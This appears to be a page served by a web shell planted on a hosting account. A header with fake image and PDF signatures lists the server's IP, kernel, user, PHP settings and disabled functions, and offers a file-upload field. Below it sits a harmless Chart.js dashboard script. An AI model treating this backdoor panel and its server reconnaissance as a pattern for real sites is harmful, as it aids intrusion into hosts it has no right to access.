ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 82.197.83.129 / Your IP : 216.73.216.166 [ Web Server : LiteSpeed System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u489457460 ( 489457460) PHP Version : 7.3.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u489457460/public_html/public_html/js/ |
Upload File : |
// /* ----- Employee Dashboard Chart Js For Applications Statistics ----- */ // Circle Doughnut Chart var ctx = document.getElementById('myChart').getContext('2d'); var chart = new Chart(ctx, { // The type of chart we want to create type: 'doughnut', // The data for our dataset data: { labels: [' Direct 32%', 'Referal 28%', 'Oragnic 40%'], datasets: [{ label: 'My First dataset', segmentShowStroke : true, segmentStrokeColor : "E8EAED", datasetStrokeWidth : 24, backgroundColor: ["#5BBB7B", "#FFEDE8", "#FBF7ED"], data: [50, 25, 25], responsive: true, borderWidth: 4, showScale: true }] }, // Configuration options go here options: { aspectRatio: 0, cutoutPercentage : 60, responsive: true, legend: { position: 'left' } } }); // LineChart Style 2 var ctx = document.getElementById('myChartweave').getContext('2d'); var chart = new Chart(ctx, { // The type of chart we want to create type: 'line', // also try bar or other graph types // The data for our dataset data: { labels: ["Jan", "Feb", "Marc", "April", "May", "June", "July", "Agust", "Sept", "Oct", "Nov", "Dec"], // Information about the dataset datasets: [{ label: "Dataset", backgroundColor: 'rgba(251, 247, 237, 0.9)', borderColor: '#5BBB7B', data: [148, 140, 210, 120, 160, 140, 190, 170, 135, 210, 180, 249], }] }, // Configuration options options: { layout: { padding: 10, }, legend: { position: 'top', }, title: { display: false, text: 'Precipitation in Toronto' }, scales: { yAxes: [{ scaleLabel: { display: true, // labelString: 'Precipitation in mm' }, ticks: { min: 0, max: 300, // forces step size to be 5 units stepSize: 50 } }], xAxes: [{ scaleLabel: { display: true, // labelString: 'Month of the Year' } }] } } });